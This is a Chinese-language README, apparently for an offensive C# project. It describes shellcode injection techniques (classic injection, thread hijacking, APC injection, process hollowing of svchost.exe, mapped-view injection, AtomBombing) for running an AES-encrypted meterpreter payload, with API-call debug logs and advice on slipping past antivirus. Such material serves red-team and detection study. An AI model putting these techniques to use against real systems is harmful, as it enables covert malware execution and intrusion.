一系列 C# Shellcode 注入技术。所有技术均使用 AES 加密的 meterpreter 有效载荷。
随着我学习、发现或开发更多技术,我将持续完善这个项目。
注意: 该项目不旨在直接使用。如果你打算使用任何技术,创建一个更小、定制的项目(仅包含所选技术)将更有可能绕过杀毒软件。
如果你确实使用了这些仓库中的任何代码,请确保合法使用!
如果你希望避免将 .Net 二进制文件写入磁盘,可以使用 PowerShell 程序集注入技术。
ShellcodeRunner.cs :该技术严格来说并非注入技术(因为我们在同一进程中执行 shellcode),但它是所有技术中最简单的一种。我们确保 shellcode 在 unsafe 上下文中使用固定的内存位置。我们更改 shellcode 所在页面的保护属性以便执行它。然后使用 C# 委托函数来执行 shellcode。
[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0
[+] Executing shellcode - memory address: 0x20D000418E0
ClassicInjection.cs :该技术在目标进程中分配内存,注入 shellcode 并启动一个新线程。
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380
ThreadHijack.cs :该技术通过将代码注入目标进程来劫持线程,挂起被劫持的线程,将指令指针(RIP)设置为我们的注入代码,然后恢复线程。
[+] Found process: 11508
[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[+] Found thread: 9344
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x1D17AB80000
[+] WriteProcessMemory() - remote address: 0x1D17AB80000
[+] SuspendThread() - thread handle: 0x378
[+] GetThreadContext() - thread handle: 0x378
[+] RIP is: 0x7FFA77D21104
[+] SetThreadContext(), RIP assigned: 0x1D17AB80000
[+] ResumeThread() - thread handle: 0x378
LocalThreadHijack.cs :该技术创建一个处于挂起状态的本地线程,然后劫持该线程,将指令指针(RIP)设置为我们的注入代码,最后恢复线程。
[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - thread handle: 0x374
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0
[+] GetThreadContext() - thread handle: 0x374
[+] RIP is: 0x7FFA79EE2630
[+] SetThreadContext(), RIP assigned: 0x270800418E0
[+] ResumeThread() - thread handle: 0x374
ACPInjection.cs :该技术与线程劫持技术类似。我们将 shellcode 注入到远程线程中,然后在该线程中排入一个 APC 对象。当线程进入可报警状态(当它调用 SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx 或 WaitForSingleObjectEx 时)时,它会执行由我们排入的 APC 对象指向的 shellcode。
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378
ProcessHollow.cs :该技术以挂起状态启动另一个进程(svchost.exe),找到主线程入口点,将我们的 shellcode 注入其中,然后恢复线程。
[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] Pointer to ImageBase: 0xD31E956010
[+] ReadProcessMemory() - image base pointer: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - thread handle: 0x454
InterProcessMappedView.cs :该技术在内存中创建一个新的节,创建该节的本地映射视图,将我们的 shellcode 复制到本地映射视图,并在目标进程中创建本地映射视图的远程映射视图。最后,我们在目标进程中创建一个新线程,以映射视图作为入口点。
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384
AtomBomb.cs :该技术的有趣之处在于我们如何将 shellcode 写入目标进程。我们使用全局原子表,该表允许我们写入以 null 结尾的字符串,最大大小为 255 字节。我们找到一个代码洞穴来写入 shellcode,然后使用 APC 调用触发目标进程将原子名称读入内存。最后,我们使用几个 APC 调用来更改目标的内存保护并执行 shellcode。
我的代码与原始用 C/C++ 编写的 Atom Bombing 技术不同。首先,我使用多个 APC 将原子名称链接在一起,以形成大于 255 字节的 shellcode。我没有使用 ROP 链来强制目标进程调用 VirtualProtect 然后执行代码,而是使用了 APC 队列。
此代码要求主线程进入可报警状态以执行 APC 队列,并且我不会在 shellcode 执行后清理,目标进程会变得不稳定。我计划改进此技术(通过搜索可报警线程并在之后进行清理),但作为概念验证,它运行良好。
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031
Atom Bombing 技术在全局原子表中放置以 null 结尾的字符串,这意味着你必须使用不包含 0x00 字符的 shellcode。
请记住,你需要启动一个要注入的目标进程,除非使用 shellcode 运行器、本地线程劫持技术或进程镂空技术(后者会在挂起状态下启动一个新进程)。
[!] Unable to find process to inject into!
当使用 shellcode 运行器、本地线程劫持技术或进程镂空技术时,你需要注释掉 Program.cs 中查找要注入的进程的代码:
/*
Process[] processes = Process.GetProcessesByName("notepad");
if(processes.Length == 0)
{
Debug("[!] Unable to find process to inject into!");
return;
}
Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/